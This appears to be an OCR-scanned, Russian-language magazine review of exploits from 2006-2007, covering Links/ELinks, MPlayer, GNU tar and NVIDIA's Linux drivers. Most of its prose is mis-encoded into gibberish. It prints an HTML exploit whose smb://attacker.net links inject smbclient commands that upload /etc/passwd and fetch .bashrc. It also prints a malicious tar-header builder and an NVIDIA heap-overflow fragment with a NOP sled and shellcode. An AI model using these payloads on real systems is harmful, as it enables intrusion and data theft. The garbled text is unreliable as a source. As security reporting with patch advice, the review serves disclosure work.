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81 BbINycK

KPHUC KaCIICPCKHU dKa MBIITBX, no-email

yOasneHHoe 8binosiHeHue SMB-komaHO 8 links'e

brief:

targets:

exploit:

solution:

Links aTo Takoil IIyCTpbIi TEKCTOBOH Opay3ep (IIMPOKO M3BECTHBIH B Y3KHX Kpyrax),
W3HAYaJBHO peaJn30BaHHBI Ha Linux'e w ycmemHO MOPTHPOBAHHBIA HAa MHOYKECTBO
omepanmoHHbIX cucteM Bcex wmacreid (XxBSD, HPUX, 0OS/2, MacOSX, Win32...) u
MMOPOIUBINANA  MHOXECTBO KJIOHOB  (caMmblii m3BecTHBIH W3  KoTophix  Elinks —
http://elinks.or.cz), pacpocTpaHseMbIX, kKak 1 caMm Links, Ha GecIiaTHOW OCHOBE B OTKPBITHIX
tekcrax — http://links.sourceforge.net. B cuiy cBoeil upe3BbIYAHHOW KOHCTPYKTHBHOM
MIPOCTOTHl U OTCYTCTBHM MOJJEPKKH CKPHIITOB C IPOYMMH TSDKEIOBECHBIMH 3JIEMEHTaMH,
Jonroe Bpems (Ha mapy ¢ JpyrdM KOHCOJBbHBIM Opay3epeM pbiceM — lynx), oH Mo mpaBy
CUMTAIICS caMbIM Oe3omacHbIM "cyaHoM" Iiist web-cepuHra. MBII[BX aKTHBHO IMOJIb30BAJICS
UM caM (-) U Ja)ke peKOMEHIOBAN €ro APYTrHM. HO BOT, Ha cTeike 2006 u 2007 romos
yenmmsiMa xakepa Teemu Salmela B HeM oOHapyXuijace OrpoMHasi IbIpa, IO3BOJISIOIIAS
aTaKymoIeMy HCHONHATH Jro0ble SMB-koMaHIBI Ha MalIMHE XEPTBBI, IPOCMATPUBAIOIICH
3apaxkeHHyt0 HTML-ctpanmuky c¢ momomipio Links'a (ectectBeHHO, SMB-KIHEHT AOIKEH
OBITh YCTAHOBJICH). OINMMOKAa THE3MUThC B QyHKmu smb_func(), pacmonoxeHnHoi B (haitie
smb.c. ysI3BUMbIE CTPOKH ITPHUBE/ICHBI HUKE!

// 'dir' is the directory part of the smb: //.. url:

154 add to_strn(&s, dir);

155 add _to_strn(&s, "\" -");

156 while ((ss = strchr(s, '/'))) *ss = '"\\';
157 v[in++] = "-c";

158 v n++] = s;

159 }

160 }

161 v[n++] = NULL;

// smbclient is executed:

162 execvp ("smbclient", (char **)v);

163 fprintf (stderr, "smbclient not found in $PATH");
164 exit(1);

JIuctunr 1 kmoveBoii pparment pynkuuu smb_func(), conep:kameii omuodky
ys3BUMOCTh monTBepkaeHa B Bepcusx Links 1.00prel2 u ELinks 0.11.1, HO u ocTanbHBEIE

BCPCHHU TAK KC MO-BUANMOMY YSA3BUMBI;

ucxonusii HTML-kon memoHcTpaimonHoro exploit'a, 3atuparomiero ¢aiin /etc/passwd u
yraruBaroiero .bashrc npuseneH Huxe;

<html>
<a href='smb://attacker.net/work/XxXX" YYY; lcd ..; lcd ..; lcd ..; lcd
etc; put passwd ; exit; '>Put /etc/passwd</a>
<a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd

home; lcd teemu; get HOHO .bashrc; exit; '>Get .bashrc</a>
</html>

JIMCTHHT 2 MCXOAHBIN KoA mpocTeiimero exploit'a

camMoe TPOCTOe, YTO MOXKHO CIeNlaTh — OTKa3aThes OT Links'a B moms3y Preics wmm ke
HAJIOXKHUTh 3aIUIaTKy, OJaro COCTABUTENHM TMOMYJSIPHBIX TUCTPUOYTHBOB OIEPATUBHO
MOCYETHIINCh, OJTHAKO, CYIIECTBYET MHOXXECTBO HeoduimanpHbix Ominmo Links'a (u ero
co0OpaThEB), MOIB30BATEISIM KOTOPBIX MOXKHO IMOCOBETOBATh 3aKOMMEHTHPOBATH 162 CTPOKY
(ﬁ) U TEePEKOMITHIIMPOBATh KOJA. €CTECTBEHHO, BBIMOJHEHHE KAKHUX Obl TO HH
66110 SMB-KOMaH 1 Opay3epoM IMociie 3TOro CTaHET HEBO3MOXKHBIM, HY J]a HEBEJIHKa MOTeps
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Pucynok 1 Links Ha paGouem cToJie MbIIIBX'a

yOasieHHoe nepenoJsiHeHue 6ygepa e MPlayer'e

brief:

targets:

MPlayer (pacumdpossiBaercs kak The Movie Player) nerennapHsiii 1, B KAKOM-TO CMEBICITIE,
KyJbpTOBBIN audio/video ruieep (Takke BKIFOYAOIIUHN B ceOs M KOIEp) 3HAMCHHUTBIA MPEXKJIe
BCETO IIOJICPKKOM OrpPOMHOE KOJIMYECTBO BXOIHBIX M BBIXOJHBIX (OpMAaTOB (Haiiios,
KOJICKOB, YCTPOMCTB BBOJA/BBIBOJIa ayIWO/BU/IEO JAaHHBIX M, YTO CaMOE€ TIJIaBHOE, OH
MOJ/ICPXKUBACT MX NPABWIBHO (B YacCTHOCTH, TOJBKO OH OJWMH TIPH KOJAMPOBaHWUHU
BI/II[CO(I)I/IJ'H)MOB CJICOUT 3a CUHXPOMECTKaMH, MpeaoTBpaiiasi T€M CaMbIM BO3MOXXHYIO IMOTECPIO
CHUHXPOHM3AIMN). 3TO OTKPBITHIA IMPOEKT, PacIpOCTPAHSIOIIMNACS B HCXOIHBIX TEKCTax U
MMOTHPOBAHHKIN MO Bech 300mapk oceil: Linux, xBSD, Solaris, IRIX, HP-UX, AIX, Win32,
Mac OSX, Bxmo9asg Takylo 3K30THKY kKak QNX u Qmiga/MorphOS. ecrecTBeHHO,
3HauyMTeJbHAas YacTh koja MPlayer'a mosammcTBOBaHa paspabOTYMKAMH M3 CTOPOHHHX
OTKPBITBIX MPOEKTOB M moToMy MPlayer 3aBUT OT kKauecTBa M HAJIS)KHOCTH KaXKIIOTO MX HHX,
HO Ka4yeCTBEHHBIH KOJ — OoJbllas peiKOCTh U JbIPhl OOHAPYXHMBAIOTCS TO TYT, TO TaM. B
JTAaHHOM Clly4dae, BUHOBHHKOM TOP)KECTBa OKazajcs MOAyJb, oOpabarsiBatommii RealMedia
RTSP notoku u pacnojioxeHHbId B (aitax stream/realrtsp/asmrp.c, stream/realrtsp/asmrp.h u
stream/realrtsp/real.c, 1M03aMMCTBOBaHHBIX W3  OuOmMOTeKM  xine-lib, B  KOTOpOI
28 mexabps 2006 Toma Obputa oOOHApy)XeHa YA3BHMOCTb, CBS3aHHAs C TPAAUIIMOHHBIM
OTCYTCTBHEM TpaHUI] KOHTposs Oydepa u moapoOHO ommcaHHas crermaiucramu u3 Debian
Security Advisory: http://www.debian.org/security/2006/dsa-1244. pa3paborunkn MPlayer'a
OTpearnpoBay Ha Hee C HeOOJIBIIMM 3aII03JaHUEM, OIIOBECTUB CBOUX IOJIb30BATEIICH TOIBKO
31 nexabps 2006:  http://www.mplayerhq.hu/design7/news.html u x0T BO3MOXXHOCTB
BBITIOJIHEHHS TPOW3BOJIBHOIO KOJ@ IOCTaBJIE€Ha MOJ COMHEHHE (T.e. Jaiblle OaHaIbHOTO
DOS'a neno HaBpsiI JIn MOIIET) HA MOTEHIIMATEHOM YPOBHE YIp0O3a BCE-TAKH CYIIECTBYET;

ys3BUMOCTh mozaBepkeHa B Bepcmsix MPlayer 1.0rcl mw SVN go 121799 (t.e. 1mo
31 mexabps 13:27:53 2006 UTC), 6osiee npeBHIE BEPCUH MO-BUANMOMY TaK K€ COIAEPIKAT ATy
JIBIPY, OJIHAKO, OHH HE MPOBEPSLIKCH;



exploit: oOpazenr exploit'a Moxer OBbITh HaiifiecH MO cieAyromed cceutke: http://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2006-6172;

solution pa3paborunku BPlayer'a ucnpaBunu xonq B CVS (apeBe pa3paboTku), OAHAKO, €Ile He
MEePEKOMITHJIMPOBAIN  BBUIO)KCHHBIC JBOMYHBIC (AiiIbl, NPEnoCTaBisis IOJIB30BATEISIM
3aMevaTeIbHYI0 BO3MOXKHOCTD IIOMMETh CEKC C KOMIIMIATOPOM CaMOCTOSTENBHO;

-E_l)MPIayel - The Movie Player - Mozilla Firefox
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Pucynoxk 2 rinasnas crpannna Mplayer'a

yOasneHHbIlU 06x00 dupekmoputi 8 GNU tar

brief: Teemu Salmela (y)xe ynmoMsHyTBIIf B 3TOM 0030pe M BCTpEYAIONIMH, KaK BCE OCTAJbHBIC
XaKepbl, HOBBIM ToJ 3a KoMmIbloTepoMm) wuccnenoBan yruiaury GNU tar, craBmyro
CTaH/apTHBIM apXxuBatopoM st _Jroboro  Linux/xBSD nuctpuOytuBa, u 0OHapy>Kui B HEl
JBIPY, CXOKY € TOH, 4To Oblta ynanena u3 MS-DOS Bepcuu pkzip'a MHOTO JIeT TOMYy Hazaz, a
UMEHHO — 00xox nupekropuit (directory traversal) wnm, TOBOpS IpYyrHMMH CIIOBaMH,
BO3MOXXHOCTH CO3/IaHHUS apXHBa, PAacHaKyIOIIerocs He B TEKyLIeM Karajore, a Tynaa, Kynaa
€My HYXXHO W 3aTHparouiero Bce (ailyisl, Ha KOTOPOTO y HETO TOJBKO €CTh MpaBa. JaKe eCiH
pacrakoBKa MPOW3BOAUTCA H3-TIOA IMPOCTOTO IONB30BaTeNs (HE root'a) yrpo3a _OYEHb
Cephe3Ha, a BO BCEM BHHOBAT CIEIHAIBHBINA THN (ailyIoB, ONpEAEICHHBIH B tar'e apTHOyTOM
GNUTYPE NAMES, «kotopoMy coOOTBETCTByeT cumBoa 'N" B tar-3aronoBke
(_). 9TH (paiijibl MOTYT PAacIaKOBBIBATHCS B JIFO0OC MecTO (hailyioBOil cucTeMe U
XOTsI IITaTHBIMU CO3/aTh TAKOW apXWB HEJIb3sl, 3TO JIETKO OCYIIECTBUTH BPYYHYIO, IIOCIIE YETOo
ocTaeTcsd TOJIBKO BBUIOKUTH €T0 Ha OOIIEAOCTYIHBIN CepBep WM MOCIATh )KEPTBE BMECTE C
YTPEHHUM MBUIOM. moapooHee: http://www.securityfocus.com/bid/21235;

targets: ys3BHUMOCTB IIOATBEPKACHA B CIEAYIOMUX Bepcwsax tar'a: 1.15.91, 1.16 u 1.15. mpo octansHBIE
ITOKa HUYETO He U3BECTHO, HO, CKOpEE BCETO, OHM TaK XK€ YS3BUMBI.



exploit: ncxomuelii Tekct  BrojHe OoeBoro  exploita  jexur B

apxuBe neohapsis'a:

http://archives.neohapsis.com/archives/fulldisclosure/2006-11/0344.html, HmxXe npuBOIUTCS

€ro KJII0UYeBOi (parMeHT, GopMupyroruii "60MO0BOM" tar-3aroi0BoK.

#define GNUTYPE NAMES 'N'
memset (&b, 0, sizeof(b));

strcpy (b.header.name, "xyz");

strcpy (b.header.mode, "0000777");

strcpy (b.header.uid, "0000000");

strcpy (b.header.gid, "0000000") ;

sprintf (b.header.size, "%011lo", strlen(d));
strcpy (b.header.mtime, "00000000000");

strcpy (b.header.chksum, " ")
b.header.typeflag = GNUTYPE NAMES;
strcpy (b.header.magic, "ustar ");
strcpy (b.header.uname, "root");
strcpy (b.header.gname, "root");
for (cksum = 0, i = 0; i < sizeof(b);
cksum += b.buffer[i] & Oxff;
sprintf (b.header.chksum, "%060 ", cksum);
fwrite (&b, 1, sizeof (b), stdout);

i++)

Jluctuur 3 kiaoveBoii pparment tar-exploit'a

solutions M3 BCEX COCTAaBUTENCH MUCTPUOYTHBOB, MOKA OJHMH JIMIIb KOJUICKTUB FreeBSD BhimycTHII
crienuanbHeId matd: http://security.freebsd.org/patches/SA-06:26/gtar.patch, ocranpHble ke
NPEANOWIN OTAENAThCS MOJYaHUEM, HEIBYCMBICICHHO MOCBUIAIOIIMM IIOJIb30BaTeNleii Ha
opunmanenyro crpanndky GNU tar'a: http://www.gnu.org/software/tar 3a cBexeil Bepcueit
1.16.1 u3 xoTOpOIl momnepxKa N-3amuceld yaaieHa, 4yTo AelaeT PACIakOBKY TaKHUX apXHBOB
_BOOOIIE  HEBO3MOXHOW (ecnu, KOHeYHo, He mpuberath K mnomoru tar 1.16 wim Oonee

IPEBHUX BEPCHil).

ar - GNU Project - Free Software Foundation [F5F) - Mozilla Firefox

File Edit “iew Go Bookmarks Tools Help

Back » Fuwad - Feload St Home |8 hitpd/www gnuog/softwaretar) =llee |G
& Tar - GNU Project - Free Software F_.. | 8
Releases 2l
Download
(please use
Date Version one of the Information
mirrors
instead)
exclusion tag files, i.e. files whose presence in a
directory means that the directory should not be
archived. .
= The ==exclude-cache] option excludes directories
that contain the CACHEDIR.TAG file from being
Gzipped shell archived. Previous versions excluded directory
a_rcﬂ and its contents only, while the directories themselves were
%ﬁr still added to the archive.
archive and its = Support for reading ustar type u header logical
2006-12-09 | 1.16.1 sig_nab.lre. records has been removed. This GNU extension was
% ire generated only by very old versions of GNU tar.
signature. Unfortunately its implementation had security holes.
Gzipped cpio We don't expect that any tar archives in practical
archive and its use have type u records, but if you have one and
signature. you trust its contents, you can decode it with GNU
tar 1.16 or earlier. =
Done Bl

Pucynok 3 31ecs pa3gaior 00HOBJIEHHBII tar



full disclose
nepenosiHeHue 6ygepa e dpatieepax NVIDIA dnsi LINUX

brief: pa3 yx 3TOT 0030p explot'oB okazaincs CTUXHMHHO TOCBsIICH Linux-mporpammam (mpuiem
0€30 BCSKOI0 yMBIC/IAa C MOEH CTOPOHBI, IIPOCTO TaK HNOIYYHIIOCH), OyJIET YMECTHO paccKa3arb
o neipe B "dupmennsix" npaiiBepax ot NVIDIA, BbimylieHHbIX B BHIE JBOMYHBIX (hailioB
0€30 BCSIKMX MCXOJHBIX TEKCTOB. YBbI! 3aKpBIThIE TIPOAYKTHI BCTpeyatoTcst ¥ B Linux, npuuem
KadecTBO OONBIIMHCTBA M3 HHUX BechbMa HEBEIMKO, a Jopa0doTka "HAMMIHLHHKOM'
YpEe3BBIYANHO 3aTPyIHEHA — OHO M IOHSATHO: B MAIIMHHOM KOJIE pa3OmpacTcsi JaieKko He
KaXIbIi TMHYXCOHJ, a BOT windows-XxaKkepsl 4yBCTBYIOT ce0st Kak psiOoa B (MyTHOH) Boje —
WM K 3TOMY HE IIPHUBBIKATH.
JIbIpa BBIPAKACTCS B BUZE TPAJAUIIMOHHOMN OIIUOKY TEPENOTHEHHS U MTPU OJIaronpHUsiTHOM (11
XaKepa) CTeUYCHUH 0OCTOSTENBCTB IO3BOJISAET aTaKyIOIEMY BBIIOJIHATH IIPOU3BOJILHBIA KO/ Ha
I[EJIEBOM CHCTEME C HaWBBICIIUMH YPOBHEM IPHUBHIICTHH, IpPHUYEM, aTaka MOXET OBITh
OCYIIECTBIIEHA HE TOJBKO JIOKAJIbHO, HO M yNAJIEHHO — 4epe3 remote X-KIWeHTa WiH X-
KITMEHTA, 3amenero Ha web-cepBep ¢ "TpOSTHCKONW" CTpaHUIKOH.
TEeXHUYECKHE TTOAPOOHOCTH MOKHO HaTh Ha http://www.securityfocus.com/bid/20559/info;

) Linux Display Driver - AMDG4/EME - Mozilla Firefox

Fle Edt “iew Go Bookmarks Took Help

Back = Fomward + Reload Stop  Home I@ http: A v rvidia. comJobject/linus_display_amdE4_1.0-8776. html h_dj Go I@,

= NVidia Binary Graphic... @ Linux Display Driv... | || Angwer | 12, Rapid? Security Advis.. | MX server crash on man... | || Flarians Programme | %]
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Worldwide Leader in Programmable Graphics Processor Technologies
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GERack ) Linux Display Driver - AMDG4/EMBAT

Yersion: 1.0-87706
Operating System: Linux AMD64 fEMG64T

F“ADDITIDNALINFO d Release Date: October 19, 2006
Linwux AMD64 Display Driver Release Highlights
Archive

* Added hotfix for Rapid? Advisory R7-0025, Please view this NVIDIA
Knowledgebase article for more information on this hotfix and the affected

RELEVANT LINKS -
M drivers.
Linux Discussion Forum . .
e S M, To download and install the drivers, follovs the steps below:

Linw topics, wist the
dizcus=sion forum st
M MEsy S Net

STEP 1: Review the NVIDIA Software License,

You will need to accept this license prior to downloading any files,

HVIDIA Linux Advantage

PDF Presertation (712 KB) STEP 2: Download the Driver File

Download - NWIDLA-Linux-x86 ©64-1.0-8775-pka.run

Supported|Rroductsilist SUSE users: please read the SUSE NYIDIA Installer HOWTC before downloading

the driver.

STEP 3: Install

Type "sh NWVIDIA-Linux-¥B86_64-1.0-877A-pkg2.run” to install the driver. NYIDIA
now provides a utility to assist vou with configuration of your x config file. Please
see Chapter 3 of the README or run ‘man nvidia-xconfig’ for details on usage.
Instructions for those wishing to edit their ¥ config file by hand can also be found
in the README.

If you have any questions or problems, please check the linux discussion forum,
If you don't find an answer to your question there, you can send email (in
English) to linug-bugs@nvidia.com.

When emailing linux-bugs@nvidia.com, please attach an nvidia-bug-report.log,
which is generated by running "nvidia-bug-report.sh",

I GeForea | nForce | GeForce Go | Quadro | GoForce
4

Sl

I
N

| Done

Pucynok 4 orciona NVIDIA pazagaer cBou gpaiiBepa nisi Linux-cucrem

targets: NVIDIA odunuansHO TOATBEpP)KIOAeT YA3BUMOCTh JBYX CIeOylommx Bepcuid Linux-
npaiisepoB: 1.0-8762 u 1.0-8774, yrBepxaas, uro Oojee paHHUE BepcuH (Takue, HapUMep,
kak 1.0-8178 nnm 1.0-7184) He coneprkaT 3TOM ABIPHI, a HaUMHasA ¢ Bepcun 1.0-8776 oHa yxke
ucnpasieHa: http://nvidia.custhelp.com/cgi-bin/nvidia.cfg/php/enduser/std_adp.php?p faqid=1971, HO



exploit:

pa3nnyYHble HE3aBHCUMBIE SKCIEPTHI MOJ03PEBAIOT, YTO U OoJee NPEBHHE BEPCHUH YS3BUMBI
ToXe (B MEPBYIO OYEpe/Ib OJ03PCHUE MalaeT Ha Bepcuu Apaiiepos moxa Solaris u FreeBSD),
OJIHAKO, HUKTO M3 HHX 3TO He moarBepami proof-of-concept exploit'om, mosromy Bompoc
OCTAcTCd OTKPBLITBIM; TEM BPEMCHCEM, KOMIIAHUA Solaris KIIATBEHHO 3aBEpsCT, YTO Ha
mwiatpopmy SPARC sta yrpo3a He pacmpocTpaHseTcs, HO Xx86-64 Bepcun IpaiiBepoB Bce-
TaKyu yA3BUMBIL: http:/sunsolve.sun.com/search/document.do?assetkey=1-26-102693-1&searchclause=/

HUCXOMHBIA TEKCT NeMOHCTpamuoHHOTO exploit'a ¢ shell-komom Ha GopTy Jexkar mo aapecy
http://download2.rapid7.com/r7-0025/nv_exploit.c, a HWKE TPHUBEICH €ro KIHYCBOM
(dparmenr:

/************************************************************************

* BEGIN FONT HEAP OVERFLOW SETUP CODE

*

* "It's so hard to write a graphics driver that open-sourcing it would

* not help."

* - Andrew Fear, Software Product Manager (NVIDIA Corporation).

**********************************************************************/
XGlyphInfo * glyphs; XRenderPictFormat fmt; XRenderPictFormat *mask = 0;
GlyphSet gset; char * buf =0; int offset, cr, numB; int xscreenpos = 32680;
int magic len= 2768-xscreenpos; int wr_addr len = 3548; int wr nop len=200;

/* Calculate the offset to the Global Offset Table.
* 0x2C0000 is the size of the buffer the NVIDIA driver
* allocates for us when it is about to draw. */
offset = gotaddr- (heapaddr-0x2C0000) ;
offset += magic_len; glyphs = malloc(sizeof (XGlyphInfo) *3);

/* Payload glyph */

glyphs[0] .width=0x4000; // one contiguous buf of 16K... way more than necessary
glyphs[0] .height = 1; glyphs[0].yOff = 0; glyphs[0].xO0ff = glyphs[0].width;
glyphs[0].x = 0; glyphs[0].y = O;

/* Large offset glyph (untweaked) */
glyphs[1].width=0; glyphs[1l].height=0; glyphs[1l].y0ff=32767;
glyphs[1].x0f£f=0; glyphs[1l].x = 0; glyphs[l].y = 0O;

/* Small offset glyph (tweaked) */

glyphs[2] .width=0; glyphs[2].height=0; glyphs[2].yOff=0;
glyphs[2].x0ff=0; glyphs[2].x = 0; glyphs[2].y = 0;
fmt.type = PictTypeDirect; fmt.depth = 8;

Glyph * xglyphids = malloc (3*sizeof (Glyph));

xglyphids[0] = 'A'; xglyphids[1] = 'B'; xglyphids[2] = 'C';

int stride = ((glyphs[0].width*1)+3)&~3; /* Needs to be DWORD aligned */
int bufsize = stride*glyphs[0].height; buf = malloc (bufsize);

/* Write jump address to the buffer a number of times */
for (cr=0; cr<wr addr len; cr+=4)
* ((unsigned int*) ((unsigned char*)buf + cr)) = gotaddr+wr addr len+4;

/* Write the NOP instructions until wr nop len */
memset (buf+wr addr len, 0x90 /* NOP */, wr nop_ len);

/* Write the shellcode */
cr+=wr nop len; memcpy (buf+cr, shellcode, sizeof (shellcode)):;

/* Calculate the number of B's required to send */
numB = offset / (glyphs[1l].yOff * magic len);

/* We send only one C, but we change its yOff value according to
* how much space we have left before we meet the correct index length */
glyphs[2].yOff = (offset - (numB * glyphs[1l].yOff * magic len)) / (magic len);

/* Now create a new buffer for the string data */
string = malloc (numB+1/*numC*/+1/*numA*/+1/*NULL*/) ;
for (cr=0; cr<numB; cr++)
stringlcr]='B';stringlcr]="'C';cr++; stringlcr]='A'; cr++;stringlcr]=0;

mask XRenderFindFormat (display, PictFormatType|PictFormatDepth, &fmt, 0);
gset = XRenderCreateGlyphSet (display, mask);

if (mask)



/* Ask the server to tie the glyphs to the glyphset we created,
* with our addr/nopslide/shellcode buffer as the alpha data */
XRenderAddGlyphs (display, gset, xglyphids, glyphs, 3, buf, bufsize);
/* END FONT HEAP OVERFLOW SETUP CODE */

JIuctuHr 4 kaodeBoii ¢pparment exploit'a, aTakyiomero ya3sBuMble JpaiiBepa oT
NVIDIA

solutions /U1 MpeIOTBpAIICHUS BHEAPEHUS IOCTATOYHO OTKIIOUUTH aKCeJlepaTop pPeHIpeAuHra depes
omuio "RenderAccel" B koudurypaumm X-cepBepa WM Ke CKadaTh (M YCTAHOBHTBH!)
OOHOBJICHHBIE BEPCHH JPAMBEPOB: http:/download.nvidia.com/XFree86/Linux-x86_64/1.0-8776/NVIDIA-
Linux-x86_64-1.0-8776-pkg2.run (st Linux 8762), http://download.nvidia.com/XFree86/Linux-x86_64/1.0-
8776/NVIDIA-Linux-x86_64-1.0-8776-pkg2.run (st Linux 8774),
http://www.nvidia.com/object/linux_display_amd64_1.0-8776.html (HHCTPYKITUH 10 YCTAHOBKH JpaifBepoB
non Linux) http://www.sun.com/desktop/workstation/ultra20/downloads.jsp (I[J'IH Solaris Ultra 20, Ultra
20M2) U http://www.sun.com/desktop/workstation/ultra40/downloads.jsp (ZUIH Solaris Ultra 40);

full disclose:

HUcropus sTa Hawanack B ganexoM 2004 roxy (1o MOHATHAM KOMIBIOTEPHOH 0€30IacHOCTH —
3TO, MPAKTHYECKH, 1IeJ1asi BEYHOCTh), IEPE]] CAMBIM HOBBIM T'0OJIOM, KOTJa Ha ()OpyMax BO3HHK BCILIECK
COOOIEHHH O CTPAaHHOM IIOBEeJeHWH Linux-cMcTeM M BHE3alHOM Kpaxe CaMbIX pa3sHOOOpasHbBIX
_X'six_ mpunoskenunii: Fire Fox, KDE u 1. 1. B wacTHOCTH, ONBITKA BBINOIHUTH CIIEIYIOIINI KO 10T
Eclipse MIPUBO/IMIIA K oumoke THIA "Segmentation Fault"
(https://bugs.eclipse.org/bugs/show_bug.cgi?id=87299):

for (int y = 0; y < 20000; y++)
{
for (int x = 0; x < 10; x++ )

{

System.out.print (x);
}

JluctuHr 5 xon, Bei3piBarommii nagenue Eclipse

Hanpire — Gonpaie. PopyMbl OKa3alich OYKBAIBHO 3aTOIUIEHBI COOOMICHISIMUA 00 OIHOKaX,
HO BMHOBHHMKAa HaWTH Tak W He ynaaBanoch. [lono3penme mano Ha X-cepBep. B Hem neifcTBUTENBEHO
OOHAPYKMIIOCH HECKOJBKO KPUTHYHBIX OHIMOOK, HO TIOCIE MX HMCIPABICHMS SN0 JIydlle He CTajo.
CuTtyanus ocraBajlach MpauHOH M HAIIPsHKEHHOM.

Fritti — Ob11 nepBbiM, KoMy B utoiie 2006 roja, yaaaoch BOCIPOU3BECTH OIIHMOKY, O YeEM OH U
orpamoproBan Ha ¢opme:  http://www.nvnews.net/vbulletin/showthread.php?p=931048.  Kak
0Kas3ajocChp, 4yTOOBl BBI3BATH KpaxX CHCTEMbI CJICA0BAJIO BBINOJHUTH CJICAYIOMINE "pI/ITyaJ'H)HBIe
nercTBua":

1. cxomute mo cceuike http://www.floriansprogramme.de.vu/tmp/crashGTKO1.txt (6e300unHas
porpaMMma Ha NHTOHE, BBIYHCIIAIOMAs YUCI0 "MH" ¢ OXPAHUTENBHBIM KOJUYECTBOM 3HAKOB
MOCJIE 3aIsITOM M JONHCHIBAIONIas ATANIOHHBIN pe3yiabTaT K KOHIY JIMCTHHTa — T.€. OYEHb-
OYEHb JUIMHHYIO CTPOKY);

yepes "copy-n-paste" mepenectu TekcT B graphedit;

BBIJICJIUThH BECh TEKCT, BKJIIOYAs 3Ty CAMYIO JUIMHHYIO CTPOKY;

HakaTh KraBumny "backspace":

or-c! MbI UMeeM Kpax! To ecTbh, 3TO Hac UMeroT! 11a ee Kak!

kAN

K coobmennto 0pu1 mpuinokeH "NVIDIA bug report log file" co Bcelt mH(bOpManmeir o
MaMsTH, perucTpax MW T.A. (www.nvnews.net/vbulletin/attachment.php?attachmentid=19192&d=1152258443),
6naronapst koropoii komannu NVIDIA yxe depe3 HECKOJBKO YacOB YIAIOCh BOCIIPOM3BECTH M
_TIONTBEPANTH  OMIMOKY, KOTOPYIO OHa MooOellana HCIPaBUTh B CIECOYIOLIEM pen3e JpaiBepoB
Bepcuu 1.0-9xxx.
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Pucynok 5 NVIDIA noarBep:kiaeT Haan4ue I6IPHI U 00€e1[aeT B OyAyLIUX BePCUSAX ApaiiBepoB
BCe HCIPABUTH

BMmecte ¢ 3THM, BCIUIBUIM HEKOTOpPBIE TEXHHYECKHE MOAPOOHOCTH WHLHUICHTA, CKYIIO
OIMCaHHbIE KOMITaHHEH Ha (bupmMeHHOM caiite — http://nvidia.custhelp.com/cgi-
bin/nvidia.cfg/php/enduser/std_adp.php?p faqid=197.

OGHOBNIEHHBIE ApaiiBepa ACHCTBUTENHHO BBINUIM, HO UCTOPUS Ha 9TOM HE 3aKOHYMIIACh U
IIBIPBI B HUX KaK OBUIH, TaK M OCTAJUCh, 0 4eM B okTsi0pe 2006 romga u coobmmia kommanus Rapid7,
LLC Security Advisory (http://www.rapid7.com), crnenuanusupyromascs, Kak M CIeAyeT Hu3 ee
Ha3BaHUs, Ha UHOOPMAIIMOHHOW 6E30IIaCHOCTH.

B mpecc-penuse, natupoBanabiM 16-10-2006 (http://download2.rapid7.com/r7-0025), ona He
TOJIEKO COOOLIMIIA MAacCy TEXHHYESCKHX MOIPOOHOCTEM, HO U MpHBeNia HCXOAHBIH koa proof-of-concept
exploit'a, IEMOHCTPUPYIOIINH MEXaHU3M JIOKAJIHLHOIO U yaaJeHHOTro 3a0poca shell-kona Ha aTakyeMblii
KOMIIBIOTED.

Komnanns NVIDA mnpusHama ceGs BHHOBHOHM IO BCEM CTaThsIM, BBITYCTHB CITyCTSI YETHIpE
IHS OTBETHBIM Ipecc-penu3, KOTOPbIH HEKOTOphIe XaKephl COWIM HEYOCAMTENBHBIM ONpaBAaHUEM,
Ipyrue — HEJIOCTaTOYHO HCKPEHHUM packasHbEeM: http://nvidia.custhelp.com/cgi-
bin/nvidia.cfg/php/enduser/std_adp.php?p_faqid=1971.
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Answer ID Linux - How does the Rapid7 Advisory R7-0025 affect the NVIDIA Unix driver?
1o
Last Updated

1002002006 07:32 A Linux - How does the Rapid? Advisory R7-0025 affect the NVIDIA Unix driver?

I,
—) Print Answer MNWIDIA confirms that there is a security vulnerability in the NVIDLA UNIX Graphics drivers, versions 1.0
= and 1.0-8774, as reported in Security Advisory R7-0025, "Buffer Overflow in NYIDIA Binary Graphics Dr
Email Answer For Linux" (http:/fdownload2.rapid? .com/r7 -0025/),

The root cause is as described in the security advisory:

® 3 scratch buffer was allocated in system memaory for glyph rendering
® the scratch buffer allocation was clamped to a maximum size
® the glyph list rendered was not MUsing the same clamping criteria as the scratch b

This bug was in the NWVIDIA X driver's Render acceleration layer., The bug can be avoided in affected d
by disabling Render acceleration via the "Renderaccel” ¥ configuration option,

MWIDIA can confirm that this bug is only present in the NYIDIA UNIX Graphics drivers 1.0-8762 and
1.0-2774, and is fixed starting with 1.0-8776. &lso, this bug is not present in driver versions older the
1.0-2762. For example, versions 1.0-82172 or 1.0-7184 are not affected by this bug.

There is some confusion between this NVIDIA driver bug and a previously fixed core XFreeB6/x.0rg se
bug. This confusion mistakenly led the security advisory to the condusion that the NVIDIA driver bug
reported and known as early as 2004,
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-
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Pucynok 6 NVIDIA npu3Haer, 4T0 KPyroMm 0bljia He mpaBa

I'maBHOE TO, YTO HaM HAKOHEIl CTAJM M3BECTHO IIOYEMY BO3HHUKAeT IepernoyiHeHue. Eciu
Beputb NVIDA (a He Bepurh eif, y Hac HHKaKkMX IIOBOJOB Bponxe OBl HET), ndema OOCTOST
MIPUOIM3UTENFHO TaK:

l. w3 cHCTeMHOW MaMSTH BBHIIENSACTCS BpeMeHHBI Oydep (scratch buffer) ¢uxcupoBanHOTO
pa3smepa (clamped to a maximum Size) i1 OTPHUCOBKU TITH()OB — TEKCTOBBIX CHMBOJIOB W
npounx mpudtos (glyph rendering);

2. cmucok riaudoB, MOCTYMAONMX HA OTPUCOBKY, HE CPaBHHBAETCS C Pa3MepoB BBIJICICHHOTO
Oyodepa;

3. ecmu cmucok (OB NMPEeBBINIACT 3apaHee 3aJaHHbIH MaKCHMAIBHBIA pasMep BPEMEHHOI'O
Oytepa, HACTYIIaeT €ro MeperoHeHne . .. Bce!

Ha camom nene, 3To HHMKakoe HE BCe, a TONBKO HAyalo AECTEKTHMBHOIO pacciefoBaHus. B
JeWCTBUTENBHOCTH cymiecTByeT nBe cemeiictBa NVIDIA npaiiBepoB s Linux — ¢ OTKpBITBIM 1
3aKpPBITBIM KOJOM COOTBETCTBEHHO. 3aKphIThle JpaiiBepa OTIMYAIOTCS TEM, 4YTO MOAJIEPKUBAIOT
pasnuYHbIe PEXUMBI aKceleparu (KOTOpble B OTPBITOH BEpCHH HANpOYb OTCYTCTBYIOT),
